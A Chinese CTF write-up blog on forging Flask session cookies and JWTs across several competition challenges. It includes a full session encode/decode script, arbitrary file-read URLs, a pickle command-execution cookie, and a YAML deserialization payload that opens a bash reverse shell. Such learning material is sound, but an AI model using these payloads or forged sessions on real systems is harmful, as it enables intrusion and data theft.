概念和使用简介 首先,我也是在这个pyjail的学习中慢慢加深了对这个session的理解 首先,我们可以去抓一个地方的包试试 很多时候能抓到一个
1 Cookie:session=gASVKwAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjBBjYXQgL2ZsYWc+L3Rlc3QylIWUUpQu
类似这样的东西 就像是一个凭证,让系统知道你是谁,你的身份等等。很多时候是经过一定的加密手段进行处理的 比如使用到的pyjail,还有JWT等等
pyjail 之前的博客有提及了,这里会再深入一点
JWT JSON Web Token(JSON Web 令牌)是一种跨域验证身份的方案。JWT 不加密传输的数据,但能够通 过数字签名来验证数据未被篡改 JWT 分为三部分,头部(Header),声明(Claims),签名(Signature),三个部分以英文句号.隔开。 JWT 的内容以 Base64URL 进行了编码。 比如会用某些签名算法,例如HS256(HMAC + SHA-256),很多时候我们需要破解密钥来构造攻击代码
小总结 还有很多很多,我的理解目前来说肯定是远远不够的,我们来一道一道题目再慢慢看 多记录几个算法,脚本,用法等等
newstarctf 2024 pangbai过家家 这个是我最早接触到的这类题目了 这里只讲关卡n的jwt的拿一关 这里我们主要是选择了这个jwt.io这个网址来打的。但是很多比赛时不允许连接网络的,我们这里选择下载到了本地的这个cyberchef来 我们这里是可以选择cyberchef来实现一个简单的构造的 首先我们要知道jwt的构成。拿下一关的session来说明(因为pangbai过家家的环境真的是复现不了了,我们这里选择使用下面这道题目的)
1 eyJuYW1lIjoiL2ZsYWcifQ.aHYrlw.djGcGvalrdRfPImLi8C4DrRGS1o
先进行一次base64解码
1 {"name":"/flag"}..b¹pv1..ö¥.Ô_<...À¸.´FKZ
前面的就是我们要改的东西了,这个直接就复制过来 然后在cyberchef里面选择加密的算法和密钥 就可以达到构造我们作用了,就将level6改为0就可以了 下面是jwt.io
这个图片是勇师傅的,大家可以关注一下
1 https://myon6.blog.csdn.net/?type=blog
下面这个是我们cyberchef的做法
[LitCTF 2023]Flag点击就送! 1分 Cookie伪造FlaskEjs 题目描述
大型Flag赠送活动开始啦,不过只有管理员才能拿到 Flag形式 NSSCTF{} 出题人 J1an 一进去有一个输入框,一看就是input的
剩下的什么也没有,我们来目录扫描
上面的没有什么用 然后随便输入一个名字,再接下来就是我们要点击拿flag的部分了
1 2 3 4 5 6 7 8 9 10 11 GET /flag HTTP/1.1 Host: node4.anna.nssctf.cn:28956 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.102 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://node4.anna.nssctf.cn:28956/hello Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: session=eyJuYW1lIjoiL2ZsYWcifQ.aHYrlw.djGcGvalrdRfPImLi8C4DrRGS1o Connection: close
这一步抓包,他们应该就是通过这个cookie来得知我们是不是管理员权限 这道题目是比较简单的 我们也可以借助看这道题目的框架来帮我们解决问题,是一个flask的架构 flask架构的session是储存在客户端的,那么就需要解决session是否会被恶意篡改的问题。而flask通过一个密钥对数据进行签名来防止session被篡改的 每个人的脚本名称和存放位置不一样,记得更改 我们测试Litctf来试一下
1 2 3 4 ┌──(root㉿kali)-[~] └─# python session.py encode -s 'LitCTF' -t '{"name":"admin"}' eyJuYW1lIjoiYWRtaW4ifQ.aHY7Ag.F9I9uiRDbwJct2Yd2FWdf-NmtA8
我把cyberchef上面的都试了一下,是不可以的(应该是python的签名算法和很多其他的常规的算法是不一样的) 最后放行拿到flag 附上脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 #!/usr/bin/env python3 """ Flask Session Cookie Decoder/Encoder """ __author__ = 'Wilson Sumanang, Alexandre ZANNI' # standard imports import sys import zlib from itsdangerous import base64_decode import ast # Abstract Base Classes (PEP 3119) if sys.version_info[0] < 3: # < 3.0 raise Exception('Must be using at least Python 3') elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4 from abc import ABCMeta, abstractmethod else: # > 3.4 from abc import ABC, abstractmethod # Lib for argument parsing import argparse # external Imports from flask.sessions import SecureCookieSessionInterface class MockApp(object): def __init__(self, secret_key): self.secret_key = secret_key if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4 class FSCM(metaclass=ABCMeta): def encode(secret_key, session_cookie_structure): """ Encode a Flask session cookie """ try: app = MockApp(secret_key) session_cookie_structure = dict(ast.literal_eval(session_cookie_structure)) si = SecureCookieSessionInterface() s = si.get_signing_serializer(app) return s.dumps(session_cookie_structure) except Exception as e: return "[Encoding error] {}".format(e) raise e def decode(session_cookie_value, secret_key=None): """ Decode a Flask cookie """ try: if(secret_key==None): compressed = False payload = session_cookie_value if payload.startswith('.'): compressed = True payload = payload[1:] data = payload.split(".")[0] data = base64_decode(data) if compressed: data = zlib.decompress(data) return data else: app = MockApp(secret_key) si = SecureCookieSessionInterface() s = si.get_signing_serializer(app) return s.loads(session_cookie_value) except Exception as e: return "[Decoding error] {}".format(e) raise e else: # > 3.4 class FSCM(ABC): def encode(secret_key, session_cookie_structure): """ Encode a Flask session cookie """ try: app = MockApp(secret_key) session_cookie_structure = dict(ast.literal_eval(session_cookie_structure)) si = SecureCookieSessionInterface() s = si.get_signing_serializer(app) return s.dumps(session_cookie_structure) except Exception as e: return "[Encoding error] {}".format(e) raise e def decode(session_cookie_value, secret_key=None): """ Decode a Flask cookie """ try: if(secret_key==None): compressed = False payload = session_cookie_value if payload.startswith('.'): compressed = True payload = payload[1:] data = payload.split(".")[0] data = base64_decode(data) if compressed: data = zlib.decompress(data) return data else: app = MockApp(secret_key) si = SecureCookieSessionInterface() s = si.get_signing_serializer(app) return s.loads(session_cookie_value) except Exception as e: return "[Decoding error] {}".format(e) raise e if __name__ == "__main__": # Args are only relevant for __main__ usage ## Description for help parser = argparse.ArgumentParser( description='Flask Session Cookie Decoder/Encoder', epilog="Author : Wilson Sumanang, Alexandre ZANNI") ## prepare sub commands subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand') ## create the parser for the encode command parser_encode = subparsers.add_parser('encode', help='encode') parser_encode.add_argument('-s', '--secret-key', metavar='<string>', help='Secret key', required=True) parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>', help='Session cookie structure', required=True) ## create the parser for the decode command parser_decode = subparsers.add_parser('decode', help='decode') parser_decode.add_argument('-s', '--secret-key', metavar='<string>', help='Secret key', required=False) parser_decode.add_argument('-c', '--cookie-value', metavar='<string>', help='Session cookie value', required=True) ## get args args = parser.parse_args() ## find the option chosen if(args.subcommand == 'encode'): if(args.secret_key is not None and args.cookie_structure is not None): print(FSCM.encode(args.secret_key, args.cookie_structure)) elif(args.subcommand == 'decode'): if(args.secret_key is not None and args.cookie_value is not None): print(FSCM.decode(args.cookie_value,args.secret_key)) elif(args.cookie_value is not None): print(FSCM.decode(args.cookie_value))
[HDCTF 2023]YamiYami 1分 反序列化PythonCookie伪造 题目描述
I wanna eat some yummy food :( can you give me some? 一进去
1 2 3 Welcome to HDCTF2023 Read somethings Here is the challenge Upload file Enjoy it pwd
这三行点进去分别对应了三个链接
1 2 3 http://node4.anna.nssctf.cn:28927/read?url=https://baidu.com http://node4.anna.nssctf.cn:28927/upload http://node4.anna.nssctf.cn:28927/pwd
第一个进去是一个百度页面 第二个是文件上传页面 第三个是显示一个/app 这个第一个一看就很像那很可以任意文件读取的漏洞 非预期直接读环境变量
1 http://node4.anna.nssctf.cn:28927/read?url=file:///proc/1/environ
要是预期解的话,思路只能是先试试能不能读取一些有用的文件,肯定不能上来就文件上传 但是剩下的思路也不太好想到,这里我们看wp的。我们肯定是要读文件,又告诉你了/app,那么读app/app.py也是合理的了 但是这里直接读是不可以的 这里选择在hackbar对其进行两次url编码,这里可能就需要一点经验之类的了
1 /read?url=file:///app/app.py
选择app/app.py并且选择all字符都编码(不止局限于空格符号等等了) 读到了我们的文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 #encoding:utf-8 import os import re, random, uuid from flask import * from werkzeug.utils import * import yaml from urllib.request import urlopen app = Flask(__name__) random.seed(uuid.getnode()) app.config['SECRET_KEY'] = str(random.random()*233) app.debug = False BLACK_LIST=["yaml","YAML","YML","yml","yamiyami"] app.config['UPLOAD_FOLDER']="/app/uploads" @app.route('/') def index(): session['passport'] = 'YamiYami' return ''' Welcome to HDCTF2023 <a href="/read?url=https://baidu.com">Read somethings</a> <br> Here is the challenge <a href="/upload">Upload file</a> <br> Enjoy it <a href="/pwd">pwd</a> ''' @app.route('/pwd') def pwd(): return str(pwdpath) @app.route('/read') def read(): try: url = request.args.get('url') m = re.findall('app.*', url, re.IGNORECASE) n = re.findall('flag', url, re.IGNORECASE) if m: return "re.findall('app.*', url, re.IGNORECASE)" if n: return "re.findall('flag', url, re.IGNORECASE)" res = urlopen(url) return res.read() except Exception as ex: print(str(ex)) return 'no response' def allowed_file(filename): for blackstr in BLACK_LIST: if blackstr in filename: return False return True @app.route('/upload', methods=['GET', 'POST']) def upload_file(): if request.method == 'POST': if 'file' not in request.files: flash('No file part') return redirect(request.url) file = request.files['file'] if file.filename == '': return "Empty file" if file and allowed_file(file.filename): filename = secure_filename(file.filename) if not os.path.exists('./uploads/'): os.makedirs('./uploads/') file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename)) return "upload successfully!" return render_template("index.html") @app.route('/boogipop') def load(): if session.get("passport")=="Welcome To HDCTF2023": LoadedFile=request.args.get("file") if not os.path.exists(LoadedFile): return "file not exists" with open(LoadedFile) as f: yaml.full_load(f) f.close() return "van you see" else: return "No Auth bro" if __name__=='__main__': pwdpath = os.popen("pwd").read() app.run( debug=False, host="0.0.0.0" ) print(app.config['SECRET_KEY'])
这里是一段py代码 需要做的事情就两件,因为提示在/boogipop做坏事 那就需要伪造session,yaml反序列化 前提知识: 在 python 中使用 uuid 模块生成 UUID(通用唯一识别码)。可以使用 uuid.getnode() 方法来获取计算机的硬件地址,这个地址将作为 UUID 的一部分。 那么/sys/class/net/eth0/address,这个就是网卡的位置,读取他进行伪造即可。 具体方法如下,先用file协议读取网卡mac地址,再利用脚本进行解密、修改和加密
1 ?url=file:///sys/class/net/eth0/address
读到
使用我们的脚本就可以读到key
1 2 3 4 5 6 7 8 #02:42:ac:02:45:95 import random random.seed(0x0242ac024595) print (str(random.random()*233)) #134.93839228759927 #secret_key #python main.py decode -s 231.28194338656192 -c "eyJwYXNzcG9ydCI6IllhbWlZYW1pIn 0.ZETklg.pEPhZ5o8PxJOT7pLSFqlhNV28EQ" #解密 #python session.py encode -s 134.93839228759927 -t "{'passport':'Welcome To HDCTF2023'}" #加密
{‘passport’: ‘Welcome To HDCTF 2023’}这个是代码告诉你的了 231.28194338656192是我们生成的key 结果
1 2 3 ─# python session.py encode -s 176.89627685622764 -t "{'passport':'Welcome To HDCTF2023'}" eyJwYXNzcG9ydCI6IldlbGNvbWUgVG8gSERDVEYyMDIzIn0.aHZMog.KeB2VJ9lVXmW0itBKdbnuv21B54
第二步就是反弹shell,这里需要用到我们的这个yaml反序列化知识。这个我是真的不知道 后面再遇见的话,再出一个专题好好做一下 这里就按着wp抄
1 2 3 4 5 6 7 8 9 - !!python/object/new:str args: [] state: !!python/tuple - "__import__('os').system('bash -c \"bash -i >& /dev/tcp/ip/29964 0>&1\"')" - !!python/object/new:staticmethod args: [0] state: update: !!python/name:exec
命名为1.txt上传 然后我们开始监听 再访问/boogipop?file=uploads/1.txt 发现不行 这里访问的时候我们选择抓包,改我们的cookie 这里还有一个小的要注意的地方,就是我们的这个直接访问的话
1 http://node4.anna.nssctf.cn:28927/boogipop?file=uploads/1.txt
一开始是不带cookie的,我们先访问一下其他的页面等等 但是还是没有出 这个我没有出 多半是环境有问题,我应该是没有问题的 你看,别人在bp这一步抓的包
还有别人f12看到的
但是我的请求的永远的要比他们少一个参数,我手写也不可以
可以对比第一张和第三长图 我去反复检查了下自己的错误,应该是没有问题的 具体再看我后面的一篇博客,解决了这个问题
[NSSRound#13 Basic]flask?jwt? 1分 Cookie伪造FlaskPython 这里要做的信息搜集不只是扫一下目录,当然,这个是ctf赛题,还是很需要考我们的像脑筋急转弯了 我们在找回密码页面
1 <!-- secretkey: th3f1askisfunny -->
这个告诉你flask了,感觉就很接近我们的思路了 原本我是想着能不能爆破出来密码什么的,我去注册账号的时候,发现admin被注册了 这里就不能选择使用我们的cyberchef了
1 https://github.com/noraj/flask-session-cookie-manager/tree/master
这里是我们的一个开源项目 使用的方法其实和我们之前在kail里面的一样 encode
1 2 $ python{2,3} flask_session_cookie_manager{2,3}.py encode -s '.{y]tR&sp&77RdO~u3@XAh#TalD@Oh~yOF_51H(QV};K|ghT^d' -t '{"number":"326410031505","username":"admin"}' eyJudW1iZXIiOnsiIGIiOiJNekkyTkRFd01ETXhOVEExIn0sInVzZXJuYW1lIjp7IiBiIjoiWVdSdGFXND0ifX0.DE2iRA.ig5KSlnmsDH4uhDpmsFRPupB5Vw
decode,with secret key
1 2 $ python{2,3} flask_session_cookie_manager{2,3}.py decode -c 'eyJudW1iZXIiOnsiIGIiOiJNekkyTkRFd01ETXhOVEExIn0sInVzZXJuYW1lIjp7IiBiIjoiWVdSdGFXND0ifX0.DE2iRA.ig5KSlnmsDH4uhDpmsFRPupB5Vw' -s '.{y]tR&sp&77RdO~u3@XAh#TalD@Oh~yOF_51H(QV};K|ghT^d' {u'username': 'admin', u'number': '326410031505'}
without secret key
1 2 $ python{2,3} flask_session_cookie_manager{2,3}.py decode -c 'eyJudW1iZXIiOnsiIGIiOiJNekkyTkRFd01ETXhOVEExIn0sInVzZXJuYW1lIjp7IiBiIjoiWVdSdGFXND0ifX0.DE2iRA.ig5KSlnmsDH4uhDpmsFRPupB5Vw' {"number":{" b":"MzI2NDEwMDMxNTA1"},"username":{" b":"YWRtaW4="}}
这里我们已经得到密钥了
1 python3 session.py decode -c '.eJwlzjsSwjAMANG7uKaQZVmWc5mM9RtoE1Ix3B0Gmq22eK-y5xHnvWzP44pb2R9ettJSciqAGfUUSmInDhrBBq0PdGxsKxU99Bu0TK0NGmlXNDeACTCG_fbqzBwT05blrLkmylKpJmkmbUo3jxZkjqS8JAjKF3Kdcfw1WN4fJdowsQ.aHdfsg.IxgAGLY3JBHdV5mrjewumk1AGQo' -s 'th3f1askisfunny'
得到
1 2 3 4 ──(root㉿kali)-[~] └─# python3 session.py decode -c '.eJwlzjsSwjAMANG7uKaQZVmWc5mM9RtoE1Ix3B0Gmq22eK-y5xHnvWzP44pb2R9ettJSciqAGfUUSmInDhrBBq0PdGxsKxU99Bu0TK0NGmlXNDeACTCG_fbqzBwT05blrLkmylKpJmkmbUo3jxZkjqS8JAjKF3Kdcfw1WN4fJdowsQ.aHdfsg.IxgAGLY3JBHdV5mrjewumk1AGQo' -s 'th3f1askisfunny' {'_fresh': True, '_id': '3f8f9b00cc45f84f46d46e47e6c03572d236cafb2debb2d2cffb13034b5b2cdc0090077c6c0351d666e92fcacf91fa928ab81c8fcc83985cde3e4cd24b6a8e40', '_user_id': '2'}
我们这里把2改为1
1 {'_fresh': True, '_id': '3f8f9b00cc45f84f46d46e47e6c03572d236cafb2debb2d2cffb13034b5b2cdc0090077c6c0351d666e92fcacf91fa928ab81c8fcc83985cde3e4cd24b6a8e40', '_user_id': '1'}
1 python3 session.py encode -s 'th3f1askisfunny' -t "{'_fresh': True, '_id': '3f8f9b00cc45f84f46d46e47e6c03572d236cafb2debb2d2cffb13034b5b2cdc0090077c6c0351d666e92fcacf91fa928ab81c8fcc83985cde3e4cd24b6a8e40', '_user_id': '1'}"
这个思路还是很简单的,一下子就出来flag了
[CISCN 2019华东南]Web4 88分 Cookie伪造FlaskPython 一进来,有一个任意文件读写的页面
1 http://node4.anna.nssctf.cn:28942/read?url=https://baidu.com
这里我们读取/etc/passwd,发现存在读取漏洞 我们可以尝试读取/proc/self/cmdline读取当前进程对应的终端命令
1 2 http://node4.anna.nssctf.cn:28942/read?url=/proc/self/cmdline /usr/local/bin/python/app/app.py
然后我们读取app.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 # encoding:utf-8 import re, random, uuid, urllib from flask import Flask, session, request app = Flask(__name__) random.seed(uuid.getnode()) app.config['SECRET_KEY'] = str(random.random()*233) app.debug = True @app.route('/') def index(): session['username'] = 'www-data' return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>' @app.route('/read') def read(): try: url = request.args.get('url') m = re.findall('^file.*', url, re.IGNORECASE) n = re.findall('flag', url, re.IGNORECASE) if m or n: return 'No Hack' res = urllib.urlopen(url) return res.read() except Exception as ex: print str(ex) return 'no response' @app.route('/flag') def flag(): if session and session['username'] == 'fuck': return open('/flag.txt').read() else: return 'Access denied' if __name__=='__main__': app.run( debug=True, host="0.0.0.0" )
主要就是要我们伪造session的username从www-data到fuck 这里又和前面的题目很像了,我们可以读取服务器的mac地址
1 2 http://node4.anna.nssctf.cn:28942/read?url=/sys/class/net/eth0/address 02:42:ac:02:58:6e
然后我们可以利用脚本计算出scret_key
1 2 3 4 5 6 7 import random mac = "02:42:ac:02:41:40" mac = int(mac.replace(":", ""), 16) random.seed(mac) randStr = str(random.random()*233) print(randStr)
这个脚本比上面的脚本要方便一点 这里可能就是说,我们需要解密先一下,当然,这里的比较简单,是那种,前面一段可以直接找到是什么的,然后我们进行加密
1 2 python2 session2.py encode -s 67.3129965665562 -t " {'username':b'fuck'}"
这个是复现不了了,抓包还是一样,后面少了一个参数。最后我们发现,是要用到python2的环境来可以的 我们把上面的指令换成2再来试试 但是我在运行这个py2的文件的时候,发现报错说什么的 这里我们更换了脚本,将上面所提到的py2的脚本放入了kail 可能很多人的kail的运行安装这个脚本都是有问题的 但是和之间pyckle一样,还是有问题。前面的都是没有什么大的问题的,但是有一个小的问题 后面终于找到了
生成key的时候环境和session都是要py2的环境 之前我们的这个生成session改为py2的环境了 但是生成key的时候也要py2的环境 我们将脚本放入kail命名为key.py
发现生成。再运行
1 2 python2 session2.py encode -s 67.3129965666 -t " {'username':b'fuck'}"
最后把得到的
1 eyJ1c2VybmFtZSI6eyIgYiI6IlpuVmphdz09In19.aHd_uQ.Px6pGHDFovaJBtUpwWUth3fmD-M
放入session,再访问/flag 最后就出flag了
[NSSRound#13 Basic]flask?jwt?(hard) 146分 Cookie伪造FlaskPython 和之前的拿到题目基本是一样的,不一样的地方是我们这次不能直接访问找回密码的地方来拿到flag了 我们这里先注册账号、登陆进去 发现有我们的这个点击拿到flag的页面,这里我们就可以知道多半是伪造session的这么一个页面了 这里使用ctrl+u得到网页源代码
1 2 3 4 5 你好 ,1 <a href="/getFlag"> <br> <button>拿 flag</button></a> <!-- 我der密钥去哪里了,哦!源来氏被 /wor 藏起来了 -->
访问/wor,得到
1 哼,我不会告诉你我藏哪里了,但是不能什么都不跟你说吧?哎,告诉你上次的登录时间吧: 2025-07-16 10:41:51+00:00
接下来的思路又是第一次见了 我们找到session的部分,随便删掉几个,就会报错 接下来就是像ssti输入pin码的这个地方了 然后这里面就可以找到key
1 hardgam3_C0u1d_u_f1ndM3????
之前我们可以注意到,是要访问/getFlag才能拿到flag的 最后就用py3的解密,然后再修改,拿到flag
1 python3 session3.py decode -c '.eJwljjuKAzEQBa8iOnbQarU0ki6wsLCZwaGR-sMadpOxJzK-u8d2UvCKF9Qdzr7a9Rf6bd3sAOeLQofk1dtEFOHslZ2LcjFerAimvJBSKjJ8ktrcQeI-Y8LEM08SFcSGuCzyvkctpVgjlyHeoo9GdcwapbpITa1mUUvGosSzjGqMsIdsV1s_NbTP2-XfoN8hvMTJ9BBiCd_bXyCkHCL2nDpx-Po5wuPxBPFiPBo.aHeEpA.JRbUMOZoVbV2YvCQHy3V-3j2AHw' -s 'hardgam3_C0u1d_u_f1ndM3????'
result
1 2 {'_fresh': True, '_id': '3f8f9b00cc45f84f46d46e47e6c03572d236cafb2debb2d2cffb13034b5b2cdc0090077c6c0351d666e92fcacf91fa928ab81c8fcc83985cde3e4cd24b6a8e40', '_user_id': '2', 'time': datetime.datetime(2025, 7, 16, 10, 53, 24, tzinfo=datetime.timezone.utc)}
id改为2就可以拿到flag了
1 python3 session3.py encode -s 'hardgam3_C0u1d_u_f1ndM3????' -t "{'_fresh': True, '_id': '3f8f9b00cc45f84f46d46e47e6c03572d236cafb2debb2d2cffb13034b5b2cdc0090077c6c0351d666e92fcacf91fa928ab81c8fcc83985cde3e4cd24b6a8e40', '_user_id': '1', 'time': 'datetime.datetime(2025, 7, 16, 10, 53, 24, tzinfo=datetime.timezone.utc)'}"
没试过,好像不要后面的time也可以 但是,注意这里不一样的地方就是我们的这个time这里,之前是没有的,我运行的时候报错了 这里我们给这个time后面的值加上单引号就可以了 最后拿到flag